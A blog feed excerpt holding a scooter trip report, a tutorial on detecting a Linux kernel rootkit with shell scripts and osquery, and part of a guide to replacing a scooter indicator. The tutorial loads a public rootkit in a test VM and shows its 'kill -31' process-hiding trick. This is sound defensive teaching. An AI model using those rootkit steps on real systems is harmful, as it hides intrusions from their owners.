&lt;p&gt;Feeling caffeinated and I head back to my bike, and see that it charged from 26% to 76% over 37 minutes. That’s 13% more than I need to get home, so I set the BMW routing software to &amp;quot;Fastest&amp;quot; and look forward to getting home directly via 15-501.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Leg 5: Sanford to Chapel Hill (The Final Leg!)&lt;/strong&gt;
&lt;em&gt;39 miles, 75 minutes riding, 5 minutes charging&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;A couple of miles down the road, I blindly follow the GPS instructions onto US-1, a 70mph road. &amp;quot;Fuck!&amp;quot;. I didn&#39;t plan on those sort of speeds. You see, needlessly high-speed travel is bad news on an electric vehicle. The energy required to overcome wind resistance has a cubic relationship with velocity:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;energy required = 0.5 * density_of_air * velocity^3 * drag coefficient * surface area&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;For example, Increasing speed from 62mph (100km/h) to 68mph (110km/h) can increase energy consumption by 33%. You don&#39;t notice this in a gas vehicle so much, as they are incredibly inefficient at low speeds. In something like a Tesla, you don&#39;t notice either as it&#39;s drag coefficient &amp;amp; surface area is low, and it&#39;s battery is huge. I nervously watched as the “estimated range” number on the dash inched closer to the “distance to destination” number.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_200946460-mp-1-jpg.4812675/&quot; alt=&quot;PXL_20230415_200946460.MP(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By the time I pulled off the highway at Moncure, the two numbers were only 1 mile apart: 27 miles from my destination with only 28 miles of range left. Without a full charge, there was no way I would make it if I stayed on US-1. Moncure is a tiny town the middle of nowhere, but amazingly the Exxon station in town has an EV charger. It is however a more modern &amp;amp; faster DC-based charger, whereas the BMW CE 04 only supports AC-based charging. Supporting only a single charging technology makes sense for BMW, as this scoot was designed as a &amp;quot;charge overnight&amp;quot; commuter rather than a long-distance touring bike. Thankfully, the planning websites I use filter out incompatible chargers, so I didn&#39;t have to visit it in person to suffer disappointment.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/screenshot_20230415-160949-2-png.4812681/&quot; alt=&quot;Screenshot_20230415-160949(2).png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After changing the rI was reasonably confident that as long as I stayed off the highways, I wouldn&#39;t have a problem getting home without a change, so I changed the BMW routing algorithm to &amp;quot;Efficient&amp;quot;, and it directed me to a route that hugs the western coast of Jordan Lake. The roads here are empty - I only see a car every 5 minutes or so. I drop down to about 40 mph to conserve my range, as I know that the energy required to overcome wind resistance has a cubic relationship with velocity:&lt;/p&gt;
&lt;p&gt;On these chill, shady back roads, I passed by many entrances to Jordan Lake and the Carolina Tiger Rescue before briefly ending up on US-64 until I could turn off onto Gilead Church Rd, which I followed back to 15-501 near Fearrington (a pastoral yuppy enclave). Being familiar with this area, I knew I would pass by the Chatham Health Sciences Center, which has an incompletely configured charger that was still not technically open. I had previously read from the Plugshare site that if you went to the language selection screen on these Chargepoint chargers, you could unlock the otherwise inoperable chargers. It&#39;s worth a try!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_204706348-1-jpg.4812689/&quot; alt=&quot;PXL_20230415_204706348(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I rolled to the charger with a 22% charge, so I just did a 5-minute top-off to 32% and headed home, not nearly as nervous as I was before. I arrived with a 16% charge and 11 miles of estimated range. Without that final charge, I would have been able tot arrive home at 6%, but with significantly more anxiety and less attention to the road.&lt;/p&gt;
&lt;p&gt;I hope y&#39;all now have a feel for what it&#39;s like to tour a rural area with a small-battery electric vehicle. Much like bicycle touring, it requires planning and patience. However, it also allows you to see things you would typically scoot right by - from the Chatham Beverage Center to the Canebrakes of the Deep River. &lt;strong&gt;Improvise. Adapt. Overcome.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I wouldn&#39;t trade this ride for any other currently available vehicle - though if BMW ever releases a CE with support for DC fast charging and 25% more range, I&#39;d jump on it immediately.&lt;/p&gt;
</content>
  </entry><entry>
    <title>DIY Linux Kernel Rootkit Detection</title>
    <link href="https://choosehappy.dev/posts/2023/diy-linux-kernel-rootkit-detection/"/>
    <updated>2023-03-04T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2023/diy-linux-kernel-rootkit-detection/</id>
    <content xml:lang="en" type="html">&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/diy-linux-kernel-rootkit-detection/uzmvIJhe.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Today I will teach you how to roll your own detection of a classic Linux kernel rootkit using shell scripting (for explanation) and osquery (for production).&lt;/p&gt;
&lt;p&gt;Your chance of encountering a Linux kernel rootkit in the wild is slim due to compatibility and distribution challenges, so this explanation is geared toward the most paranoid folks in the audience. For this demonstration, we&#39;ll use &lt;a href=&quot;https://github.com/reveng007/reveng_rtkit&quot;&gt;reveng_rtkit&lt;/a&gt; - one of the more modern examples of a Linux rootkit.&lt;/p&gt;
&lt;p&gt;As of February 2023, this reveng_rtkit runs well on Debian, so I used &lt;a href=&quot;https://github.com/lima-vm/lima&quot;&gt;lima&lt;/a&gt; with &lt;code&gt;limactl start template://debian&lt;/code&gt; to create my test environment.&lt;/p&gt;
&lt;!--more--&gt;
&lt;h2&gt;How does one detect a rootkit anyways?&lt;/h2&gt;
&lt;p&gt;The trick to detecting a rootkit is to find cracks in the illusion they present. Most rootkits only hide their presence when probed with a specific syscall, but Linux has &lt;a href=&quot;https://filippo.io/linux-syscall-table/&quot;&gt;hundreds of syscalls&lt;/a&gt; to choose from. Most commonly, Linux rootkits will hide processes or directory entries by overriding &lt;a href=&quot;https://man7.org/linux/man-pages/man2/getdents.2.html&quot;&gt;getdents(2)&lt;/a&gt;, but neglect &lt;a href=&quot;https://man7.org/linux/man-pages/man2/stat.2.html&quot;&gt;stat(2)&lt;/a&gt;. Some rootkits hide file contents by overriding &lt;a href=&quot;https://man7.org/linux/man-pages/man2/read.2.html&quot;&gt;read(2)&lt;/a&gt;, but forget about &lt;a href=&quot;https://man7.org/linux/man-pages/man2/mmap.2.html&quot;&gt;mmap(2)&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Collecting Evidence&lt;/h2&gt;
&lt;p&gt;Collecting the state of a system before and after a malware installation is an easy way to determine what attributes to alert on.&lt;/p&gt;
&lt;p&gt;If you are only concerned about filesystem changes, many methods are available, such as &lt;a href=&quot;https://www.sleuthkit.org/&quot;&gt;Sleuthkit&lt;/a&gt; or &lt;a href=&quot;https://github.com/jessek/hashdeep&quot;&gt;hashdeep&lt;/a&gt;. Fewer choices exist if you are concerned about the larger overall system state.&lt;/p&gt;
&lt;p&gt;Since I work on the [osquery-detection-kit,]((https://github.com/chainguard-dev/osquery-defense-kit project) I’ll use it to collect a subset of system information to a file. osquery-detection-kit does require extremely recent versions of Go and osquery to be installed, so here&#39;s how I installed the dependencies:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;arch=$(uname -m | sed -e s/x86_64/amd64/g -e s/aarch64/arm64/g)
curl -L https://go.dev/dl/go1.20.1.linux-${arch}.tar.gz | sudo tar -C /usr/local -zxvf -
curl -LO https://pkg.osquery.io/deb/osquery_5.7.0-1.linux_${arch}.deb
sudo dpkg -i osquery_5.7.0-1.linux_${arch}.deb
export PATH=/usr/local/go/bin:$PATH
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here&#39;s how I collected the data:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;git clone https://github.com/chainguard-dev/osquery-defense-kit
cd osquery-defense-kit
git pull
make collection
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will populate a subfolder named &lt;code&gt;out/&lt;/code&gt; with evidence, so that we may compare against it later.&lt;/p&gt;
&lt;h2&gt;Installing The Rootkit&lt;/h2&gt;
&lt;p&gt;I followed the instructions on &lt;a href=&quot;https://github.com/reveng007/reveng_rtkit&quot;&gt;https://github.com/reveng007/reveng_rtkit&lt;/a&gt; to install the rootkit. Here&#39;s how I loaded it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;sudo insmod reveng_rtkit.ko
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Afterward, &lt;code&gt;sudo dmesg&lt;/code&gt; shows:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-log&quot;&gt;[  382.584069] [+] reveng_rtkit: Created by @reveng007(Soumyanil)
[  382.584070] [+] reveng_rtkit: Loaded
[  382.584071] [*] reveng_rtkit: Hiding our rootkit LKM from `lsmod` cmd, `/proc/modules` file path and `/proc/kallsyms` file path
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Finding System State Differences&lt;/h2&gt;
&lt;p&gt;Now I&#39;m able to collect system state once again and diff the two:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;cd $HOME/osquery-defense-kit
make collect
diff -ubR ./out/&amp;lt;old&amp;gt; ./out/&amp;lt;new&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first thing that stood out was that one of the sysctl&#39;s changed:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-diff&quot;&gt;-config_value: current_value:0 name:kernel.tainted oid: subsystem:kernel type:string
+config_value: current_value:12288 name:kernel.tainted oid: subsystem:kernel type:string
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The rootkit uses &lt;code&gt;kill -31&lt;/code&gt; to hide processes, so I used &lt;code&gt;kill -31 $$&lt;/code&gt; to hide my shell process, ran the collection, and ... found no further differences. This means I&#39;m going to have to improve our detection scripts.&lt;/p&gt;
&lt;p&gt;For testing, I also started a &lt;code&gt;sleep 7200 &amp;amp;&lt;/code&gt; process in the background from the hidden shell. This rootkit also hid this subprocess - not all are so consistent.&lt;/p&gt;
&lt;h2&gt;Detecting hidden pids&lt;/h2&gt;
&lt;p&gt;Kernel rootkits tend to do two things with varying levels of success: hide their kernel module, and hide a process ID. revenge_rtkit does this by hiding getdents() calls to /proc, but if you know the hidden process ID, you can stat it directly. Ironically, this is also how Linux hides lightweight threads from users.&lt;/p&gt;
&lt;p&gt;For most of Linux&#39;s life, the maximum number of pids on a system was 32768, a relatively small area to stat. Most modern Linux distros have bumped this number up, so this process is going to be slow. To check your system&#39;s maximum pid number, run &lt;code&gt;cat /proc/sys/kernel/pid_max&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Here&#39;s a shell script that iterates through all possible pid numbers, revealing any that were not found when listing /proc: [&lt;a href=&quot;https://github.com/tstromberg/sunlight/blob/main/hidden-pids.sh&quot;&gt;full source&lt;/a&gt;]&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;[[ $EUID != 0 ]] &amp;amp;&amp;amp; echo &amp;quot;* WARNING: For accurate output, run $0 as uid 0&amp;quot;

declare -A visible
cd /proc || exit

start=$(date +%s)
for pid in *; do
    visible[$pid]=1
done

for i in $(seq 2 &amp;quot;$(cat /proc/sys/kernel/pid_max)&amp;quot;); do
    [[ ${visible[$i]} = 1 ]] &amp;amp;&amp;amp; continue
    [[ ! -e /proc/$i/status ]] &amp;amp;&amp;amp; continue
    [[ $(stat -c %Z /proc/$i) -ge $start ]] &amp;amp;&amp;amp; continue

    #  pid is a kernel thread
    [[ $(awk &#39;/Tgid/{ print $2 }&#39; &amp;quot;/proc/${i}/status&amp;quot;) != &amp;quot;${i}&amp;quot; ]] &amp;amp;&amp;amp; continue

    exe=$(readlink &amp;quot;/proc/$i/exe&amp;quot;)
    cmdline=$(tr &#39;&#92;000&#39; &#39; &#39; &amp;lt;&amp;quot;/proc/$i/cmdline&amp;quot;)
    echo &amp;quot;- hidden $(cat /proc/$i/comm)[${i}] is running ${exe}: ${cmdline}&amp;quot;
done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here&#39;s the output of this script:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-log&quot;&gt;- hidden bash[1924] is running /usr/bin/bash: /bin/bash --login
- hidden sleep[18518] is running /usr/bin/sleep: sleep 7200
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To use roughly the same logic with osquery, use the following within &lt;code&gt;sudo osqueryi&lt;/code&gt; [&lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/evasion/pid-hidden-by-rootkit.sql&quot;&gt;full source&lt;/a&gt;]:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;WITH RECURSIVE cnt(x) AS (
   SELECT 1
   UNION ALL
   SELECT x + 1
   FROM cnt
   LIMIT 4194304
)
SELECT p.*
FROM cnt
   JOIN processes p ON x = p.pid
WHERE x NOT IN (
       SELECT pid
       FROM processes
)
AND p.start_time &amp;lt; (strftime(&#39;%s&#39;, &#39;now&#39;) - 1)
AND (
       p.pgroup = p.pid
       OR (
           p.pid = p.parent
           AND p.threads = 1
       )
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Detecting unusual kernel taints&lt;/h2&gt;
&lt;p&gt;Earlier we talked about the value of &lt;code&gt;sysctl kernel.tainted&lt;/code&gt; changing from 0 to 12288. Let&#39;s use the following script  to diagnose it [&lt;a href=&quot;https://github.com/tstromberg/sunlight/blob/main/kernel-taint.sh&quot;&gt;full source&lt;/a&gt;]:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;declare -A table=(
    [0]=&amp;quot;proprietary module was loaded&amp;quot;
    [1]=&amp;quot;module was force loaded&amp;quot;
    [2]=&amp;quot;kernel running on an out of specification system&amp;quot;
    [3]=&amp;quot;module was force unloaded&amp;quot;
    [4]=&amp;quot;processor reported a Machine Check Exception (MCE)&amp;quot;
    [5]=&amp;quot;bad page referenced or some unexpected page flags&amp;quot;
    [6]=&amp;quot;taint requested by userspace application&amp;quot;
    [7]=&amp;quot;kernel died recently, i.e. there was an OOPS or BUG&amp;quot;
    [8]=&amp;quot;ACPI table overridden by user&amp;quot;
    [9]=&amp;quot;kernel issued warning&amp;quot;
    [10]=&amp;quot;staging driver was loaded&amp;quot;
    [11]=&amp;quot;workaround for bug in platform firmware applied&amp;quot;
    [12]=&amp;quot;externally-built (out-of-tree) module was loaded&amp;quot;
    [13]=&amp;quot;unsigned module was loaded&amp;quot;
    [14]=&amp;quot;soft lockup occurred&amp;quot;
    [15]=&amp;quot;kernel has been live patched&amp;quot;
    [16]=&amp;quot;auxiliary taint, defined for and used by distros&amp;quot;
    [17]=&amp;quot;kernel was built with the struct randomization plugin&amp;quot;
    [18]=&amp;quot;an in-kernel test has been run&amp;quot;
)


taint=$(cat /proc/sys/kernel/tainted)
[[ $taint == 0 ]] &amp;amp;&amp;amp; exit

echo &amp;quot;kernel taint value: ${taint}&amp;quot;
for i in $(seq 18); do
    bit=$(($i-1))
    match=$(($taint &amp;gt;&amp;gt; $bit &amp;amp;1))
    [[ $match == 0 ]] &amp;amp;&amp;amp; continue
    echo &amp;quot;* matches bit $bit: ${table[$bit]}&amp;quot;
done

echo &amp;quot;&amp;quot;
echo &amp;quot;dmesg:&amp;quot;
dmesg | grep taint
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here&#39;s the output of that script when this rootkit is loaded:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-log&quot;&gt;kernel taint value: 12288
* matches bit 12: externally-built (out-of-tree) module was loaded
* matches bit 13: unsigned module was loaded

dmesg:
[  368.765518] reveng_rtkit: loading out-of-tree module taints kernel.
[  368.777600] reveng_rtkit: module verification failed: signature and/or required key missing - tainting kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here&#39;s the osquery query I generated for alerting on this kind of taint [&lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/evasion/unusually-tainted-kernel-linux.sql&quot;&gt;full source&lt;/a&gt;]:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT current_value AS value,
    current_value &amp;amp; 65536 AS is_aux,
    current_value &amp;amp; 8192 is_unsigned,
    current_value &amp;amp; 4096 AS out_of_tree,
    current_value &amp;amp; 512 AS kernel_warning,
    current_value &amp;amp; 614 AS requested_by_userspace,
    current_value &amp;amp; 8 AS force_unloaded,
    current_value &amp;amp; 4 AS out_of_spec,
    current_value &amp;amp; 2 AS force_loaded,
    current_value &amp;amp; 1 AS proprietary
FROM system_controls
WHERE name = &amp;quot;kernel.tainted&amp;quot;
    AND current_value NOT IN (0, 512, 12289, 4097)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Detecting unusual /dev entries&lt;/h2&gt;
&lt;p&gt;We noted an unusual device earlier, which is used to communicate to the rootkit:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;crw-------  1 root root 247,   0 Feb 23 15:53 etx_device
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &amp;quot;247&amp;quot; in the output there is the major device number, which generally maps to a kernel module. To find unexpected devices like this, you can either whitelist expected device names, or expected major numbers. We&#39;ll do it both ways here.&lt;/p&gt;
&lt;p&gt;To use major number logic, you&#39;ll want to refer to &lt;a href=&quot;https://www.kernel.org/doc/Documentation/admin-guide/devices.txt&quot;&gt;https://www.kernel.org/doc/Documentation/admin-guide/devices.txt&lt;/a&gt;. Armed with this information, there are two data sources to check, /proc/devices, and /dev. The first one is interesting, as it&#39;s a map of major numbers to drivers:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;Character devices:
  1 mem
  4 /dev/vc/0
  4 tty
…
189 usb_device
226 drm
247 etx_Dev
248 aux
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One major flaw in my plan is that there are sections of dynamically generated major numbers, for instance, our suspicious 247 major device lands squarely in this section:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-log&quot;&gt;240-254 block LOCAL/EXPERIMENTAL USE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, I went with a hybrid approach to discover devices that are commonly found on UNIX systems, by major number when possible, and the device name when it&#39;s dynamic [&lt;a href=&quot;https://github.com/tstromberg/sunlight/blob/main/kernel-taint.sh&quot;&gt;full source&lt;/a&gt;]:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;
declare -A expected_major=(
    [1]=&amp;quot;memory&amp;quot;
    [2]=&amp;quot;pty master&amp;quot;
    [3]=&amp;quot;pty slave&amp;quot;
    [4]=&amp;quot;tty&amp;quot;
    [5]=&amp;quot;alt tty&amp;quot;
    [6]=&amp;quot;parallel&amp;quot;
    [7]=&amp;quot;vcs&amp;quot;
    # [8]=&amp;quot;scsi tape&amp;quot;
    [9]=&amp;quot;md&amp;quot;
    [10]=&amp;quot;misc&amp;quot;
    [13]=&amp;quot;input&amp;quot;
    [21]=&amp;quot;scsi&amp;quot;
    [29]=&amp;quot;fb&amp;quot;
...
)

declare -A expected_low=(
    [&amp;quot;bsg/&amp;quot;]=1
    [&amp;quot;dma_heap/system&amp;quot;]=1
...
)

declare -A expected_high=(
    [&amp;quot;drm_dp_aux&amp;quot;]=1
    [&amp;quot;iiodevice&amp;quot;]=1
)

for path in $(find /dev -type c); do
    hex=$(stat -c &#39;%t&#39; $path)
    major=$(( 16#${hex} ))
    pattern=$(echo $path | cut -d/ -f3- | tr -d &#39;[:0-9]&#39;)

    # Unix98 PTY Slaves
    (( major &amp;gt;= 136 &amp;amp;&amp;amp; major &amp;lt;= 143 )) &amp;amp;&amp;amp; continue
    [[ ${expected_major[$major]} != &amp;quot;&amp;quot; ]] &amp;amp;&amp;amp; continue

    class=&amp;quot;UNKNOWN&amp;quot;
    (( major &amp;gt;= 60 &amp;amp;&amp;amp; major &amp;lt;= 63 )) &amp;amp;&amp;amp; class=&amp;quot;LOCAL/EXPERIMENTAL&amp;quot;
    (( major &amp;gt;= 120 &amp;amp;&amp;amp; major &amp;lt;= 127 )) &amp;amp;&amp;amp; class=&amp;quot;LOCAL/EXPERIMENTAL&amp;quot;
    if (( major &amp;gt;= 234 &amp;amp;&amp;amp; major &amp;lt;= 254 )); then
        class=&amp;quot;low dynamic&amp;quot;
        [[ ${expected_low[$pattern]} == 1 ]] &amp;amp;&amp;amp; continue
    fi

    if (( major &amp;gt;= 384 &amp;amp;&amp;amp; major &amp;lt;= 511 )); then
        class=&amp;quot;high dynamic&amp;quot;
        [[ ${expected_high[$pattern]} == 1 ]] &amp;amp;&amp;amp; continue
    fi

    echo &amp;quot;${class} major device ${pattern}[${major}]&amp;quot;
    echo &amp;quot;* $(ls -lad $path)&amp;quot;
    echo &amp;quot;* /proc/devices: $(sed -n &#39;/Block devices:/q;p&#39; /proc/devices | grep -e &amp;quot;^ *${major}&amp;quot;)&amp;quot;
    echo &amp;quot;&amp;quot;
done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here is the output of this script on a system with reveng_rtkit installed:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;low dynamic major device etx_device[247]
* crw------- 1 root root 247, 0 Mar  3 19:48 /dev/etx_device
* /proc/devices: 247 etx_Dev
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In osquery, there is no reliable way to determine a major number, as it depends on a local magic database. There we&#39;ll rely on a simple whitelist of device names [&lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/persistence/unexpected-device.sql&quot;&gt;full source&lt;/a&gt;]:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT *
FROM
 file
WHERE
 (
   path LIKE &#39;/dev/%&#39;
   OR directory LIKE &#39;/dev/%&#39;
 )
 AND path_expr NOT IN (
   &#39;/dev/acpi_thermal_rel&#39;,
   &#39;/dev/autofs&#39;,
   &#39;/dev/block/&#39;,
   &#39;/dev/block/:&#39;,
   &#39;/dev/bsg/&#39;,
   &#39;/dev/bsg/:::&#39;,
…
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;In Closing&lt;/h2&gt;
&lt;p&gt;In a future episode, we&#39;ll explore what it takes to detect an eBPF rootkit. The general philosophy is the same: know what to expect from your system and detect half-hearted illusions. I hope you enjoyed this article!&lt;/p&gt;
&lt;p&gt;If you have questions, find me at &lt;a href=&quot;https://triangletoot.party/@thomrstrom&quot; title=&quot;triangletoot.party/@thomrstrom&quot;&gt;@tstromberg.&lt;/a&gt;&lt;/p&gt;
</content>
  </entry><entry>
    <title>BMW CE 04: Indicator Replacement Procedure</title>
    <link href="https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/"/>
    <updated>2023-01-21T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/</id>
    <content xml:lang="en" type="html">&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/fKnZboqD.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;A couple of weeks ago, I had the misfortune of breaking the indicator light off my BMW CE 04 scooter. It was through no fault of its own, I just underestimated the amount of suspension travel when mounting a bicycle on the back of it using the &lt;a href=&quot;https://www.2x2cycles.com/product/moto-bicycle-rack/&quot;&gt;2x2Cycles Moto Bicycle Carrier&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Give yourself 3-4 hours to perform these steps as it can require the removal and reinstallation of up to 25 bolts. Even if you are generally bad at mechanical things, this is an entirely doable procedure with the correct tools.&lt;/p&gt;
&lt;p&gt;Credit to &lt;a href=&quot;https://www.facebook.com/groups/417926070093644/user/100067534426885/&quot;&gt;Guru Shudamundi&lt;/a&gt;, who posted a summarized version in a &lt;a href=&quot;https://www.facebook.com/groups/417926070093644/posts/598112305408352/&quot;&gt;BMW CE 04 Facebook Forum thread&lt;/a&gt;, which gave me the courage to fix my own bike.&lt;/p&gt;
&lt;!--more--&gt;
&lt;h2&gt;Required Equipment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Replacement “Multifunctional turn signal” (&lt;a href=&quot;https://www.ascycles.com/Products/ProductID/71676&quot;&gt;63 23 7 924 982&lt;/a&gt; in the USA)&lt;/li&gt;
&lt;li&gt;T25, T30 Torx bit or wrenches&lt;/li&gt;
&lt;li&gt;T50 Torx bit&lt;/li&gt;
&lt;li&gt;Socket Wrench - wheel removal&lt;/li&gt;
&lt;li&gt;Torque Wrench (60nm) - wheel installation&lt;/li&gt;
&lt;li&gt;Pliers&lt;/li&gt;
&lt;li&gt;Small adjustable wrench&lt;/li&gt;
&lt;li&gt;Cable tie cutter or scissors&lt;/li&gt;
&lt;li&gt;5x Small Tie Wraps&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Please note that the turn signal part is subtly different in the USA - this procedure will show the USA parts, but the steps are effectively the same. You can order the replacement part from your BMW dealer, or online dealers such as A&amp;amp;S Cycles: it’s a common part that is shared with the CE04, M1000RR, R nineT,  S1000*R series of bikes.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Step 1: Failed Indicator Removal&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Unscrew what’s left of the failed indicator, as well as the protective cowl in place, using a T30 and T25 torx wrench. You will also need an adjustable wrench to keep the nut on the other side from rotating freely.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/sVS3tp1i.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Step 1: Wheel Removal&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;With the bike still on the side-stand, loosen each of the five T50 wheel bolts by a few turns. It’ll be much easier to do so now than when it’s on the center-stand.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/ZGNcecNR.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now put the CE-04 up on the center-stand for the removal, ensuring that the center-stand doesn’t sink into the ground. If you don’t have a center-stand, get creative with something else sturdy.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/4zaQu1KI.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Partially unscrew each bolt by two turns using a T50 Torx wrench. With some wiggling, you should be able to pull the wheel straight out toward you. I ended up loosening the mud guard as the wheel I didn’t have enough clearance with the gravel.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Step 2: Panel Removal&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;You can summarize this step as: remove every bolt and tie wrap in your way, but feel free to keep reading for the gory details.&lt;/p&gt;
&lt;p&gt;You’ll first need to remove this cover from the belt drive side of the bike with a T25 torx bit.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/344QGuvJ.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Underneath it there is another inner panel, which you should unscrew but not remove. This will give you more wiggle room to install the indicator cable that is sitting behind it (visible in the center of this picture)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/ZvT3OjJt.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Depending on which indicator needs replacement, the cable will run to either the connection you see here or the one just to the left of it, hidden beneath the clip. You’ll need to reach that clip from the wheel side. Go ahead and unscrew this T25 bolt if you haven’t already:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/Zfu75H5l.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From the wheel side, you can see the 3 cables leading from the license plate holder toward the front of the bike. One for each indicator and one for the brake light. Trace the wire and cut all the tie wraps keeping these cables in place. You’ll also want to undo the unusually short T25 bolt hiding under the wires here:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/5bmpgtQL.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;While you are here under the mud flap, go ahead and undo this T25 bolt as well that helps keep the license plate attached:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/zGzygCx0.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You’ll also need to undo these two T30 bolts on the top side of the mud flap. Once that’s done, the light assembly will only be held on by cables.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/KMMwEzE9.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once the lights and plate are free, you will find one more tie wrap to cut:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/E2Hvi2cT.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If you haven’t done so already, unscrew the remainder of your broken light with a T25 torx bit. You will likely need a small wrench to keep the nut stationary while doing so. Once you’ve unscrewed the protective cowl,  cut the old light cable.&lt;/p&gt;
